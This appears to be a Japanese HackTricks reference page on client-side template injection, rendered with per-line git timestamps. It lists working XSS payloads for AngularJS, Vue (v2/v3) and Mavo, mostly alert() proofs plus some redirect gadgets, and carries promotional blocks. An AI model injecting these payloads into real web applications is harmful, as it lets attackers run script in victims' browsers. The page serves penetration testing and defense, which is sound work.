2022-04-28 16:01:33 +00:00
< details >
2024-04-18 03:40:36 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > でAWSハッキングをゼロからヒーローまで学ぶ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-04-18 03:40:36 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-04-18 04:12:23 +00:00
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2024-04-18 03:40:36 +00:00
- [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を入手する
- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ ](https://discord.gg/hRep4RUj7f )**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )をフォローする
2024-04-18 04:12:23 +00:00
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
2022-04-28 16:01:33 +00:00
< / details >
2024-04-18 04:12:23 +00:00
### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:40:36 +00:00
2024-04-18 04:12:23 +00:00
< figure > < img src = "/.gitbook/assets/image (1224).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-18 03:40:36 +00:00
2024-04-18 04:12:23 +00:00
[**WhiteIntel** ](https://whiteintel.io )は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗聴マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。
2024-04-18 03:40:36 +00:00
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
---
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
# 概要
2020-07-15 15:43:14 +00:00
2024-04-18 04:12:23 +00:00
これは**サーバーサイドテンプレートインジェクション**( SSTI) のようなものですが、**クライアント**側で行われます。**SSTI**はリモートサーバーでコードを**実行**することができますが、**CSTI**は被害者のブラウザで**任意のJavaScript**コードを実行できる可能性があります。
2020-07-15 15:43:14 +00:00
2024-03-10 13:32:13 +00:00
この脆弱性の**テスト**は、**SSTI**の場合と非常に**類似**しています。インタプリタは**テンプレート**を期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなペイロードを使用すると、アプリが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。
2020-07-15 15:43:14 +00:00
2022-05-01 12:41:36 +00:00
# AngularJS
2020-07-15 15:43:14 +00:00
2024-04-18 04:12:23 +00:00
AngularJSは広く使用されているJavaScriptフレームワークで、**`ng-app`**などのディレクティブとして知られる属性を介してHTMLとやり取りします。このディレクティブにより、AngularJSはHTMLコンテンツを処理し、二重中括弧内でJavaScript式を実行できるようにします。
2020-07-15 15:43:14 +00:00
2024-04-18 03:40:36 +00:00
ユーザー入力が`ng-app`でタグ付けされたHTML本文に動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を活用することで実現できます。以下は、JavaScriptコードを実行する方法を示す例です:
2020-07-15 15:43:14 +00:00
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
2021-06-29 12:49:13 +00:00
< input ng-focus = $event.view.alert('XSS') >
2020-07-15 15:43:14 +00:00
<!-- Google Research - AngularJS -->
< div ng-app ng-csp > < textarea autofocus ng-focus = "d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'" > < / textarea > < / div >
```
2024-04-18 04:12:23 +00:00
非常**基本的なオンライン例**は、[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)や**[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**で**AngularJS**の脆弱性を見つけることができます。
2020-07-15 15:43:14 +00:00
2021-06-29 12:49:13 +00:00
{% hint style="danger" %}
2024-04-18 03:40:36 +00:00
[**Angular 1.6はサンドボックスを削除しました** ](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications. )ので、このバージョンから`{{constructor.constructor('alert(1)')()}}`や`< input ng-focus = $event.view.alert('XSS') > `のようなペイロードが機能するはずです。
2021-06-29 12:49:13 +00:00
{% endhint %}
2022-05-01 12:41:36 +00:00
# VueJS
2020-07-15 15:43:14 +00:00
2024-04-18 04:12:23 +00:00
[https://vue-client-side-template-injection-example.azu.now.sh/ ](https://vue-client-side-template-injection-example.azu.now.sh )で**脆弱なVue**の実装を見つけることができます。\
2024-01-08 13:00:42 +00:00
動作するペイロード: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%` ](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\ )%27\)\(\)%7D%7D)
2020-07-15 15:43:14 +00:00
2024-04-18 04:12:23 +00:00
そして、脆弱な例の**ソースコード**はこちらです: [https://github.com/azu/vue-client-side-template-injection-example ](https://github.com/azu/vue-client-side-template-injection-example )
2020-07-15 15:43:14 +00:00
```markup
<!-- Google Research - Vue.js -->
">< div v-html = "''.constructor.constructor('d=document;d.location.hash.match( \'x1 \') ? `` : d.location=`//localhost/mH`')()" > aaa</ div >
```
2022-05-01 12:41:36 +00:00
## **V3**
2024-02-06 04:13:43 +00:00
VUEにおけるCSTIに関する非常に良い投稿は、[https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) で見つけることができます。
2021-10-18 11:21:18 +00:00
```
2021-02-25 11:39:28 +00:00
{{_openBlock.constructor('alert(1)')()}}
```
2024-02-09 08:23:12 +00:00
## **V2**
2024-04-18 03:40:36 +00:00
信用:[Gareth Heyes、Lewis Ardern& PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
2021-10-18 11:21:18 +00:00
```
2021-02-25 11:39:28 +00:00
{{constructor.constructor('alert(1)')()}}
```
2024-02-06 04:13:43 +00:00
Credit: [Mario Heiderich ](https://twitter.com/cure53berlin )
2021-02-25 11:39:28 +00:00
2024-02-06 04:13:43 +00:00
**[こちら](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)** でさらにVUEのペイロードをチェックしてください。
2021-11-22 11:32:00 +00:00
2022-05-01 12:41:36 +00:00
# Mavo
2020-07-15 15:43:14 +00:00
2024-02-06 04:13:43 +00:00
ペイロード:
2021-10-18 11:21:18 +00:00
```
2021-06-25 16:39:43 +00:00
[7*7]
[(1,alert)(1)]
< div mv-expressions = "{{ }}" > {{top.alert(1)}}< / div >
2020-07-15 15:43:14 +00:00
[self.alert(1)]
2021-02-25 11:39:28 +00:00
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
2021-06-25 16:39:43 +00:00
[''=''or self.alert(lol)]
< a data-mv-if = '1 or self.alert(1)' > test< / a >
< div data-mv-expressions = "lolx lolx" > lolxself.alert('lol')lolx< / div >
< a href = [javascript&':alert(1)'] > test< / a >
[self.alert(1)mod1]
2020-07-15 15:43:14 +00:00
```
2024-02-06 04:13:43 +00:00
**さらなるペイロードは** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations** ](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations )
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
# **ブルートフォース検出リスト**
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:01:33 +00:00
2024-04-18 04:12:23 +00:00
### [WhiteIntel](https://whiteintel.io)
2024-04-18 03:40:36 +00:00
2024-04-18 04:12:23 +00:00
< figure > < img src = "/.gitbook/assets/image (1224).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-04-18 03:40:36 +00:00
[**WhiteIntel** ](https://whiteintel.io )は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
< details >
2024-04-18 04:12:23 +00:00
< summary > < strong > ゼロからヒーローまでのAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-04-18 03:40:36 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-04-18 03:40:36 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2024-04-18 04:12:23 +00:00
* [**公式PEASS& HackTricksスウォッグ** ](https://peass.creator-spring.com )を手に入れる
2024-04-18 03:40:36 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
2024-04-18 04:12:23 +00:00
* **💬 [Discordグループ ](https://discord.gg/hRep4RUj7f )**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**をフォローする。**
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
< / details >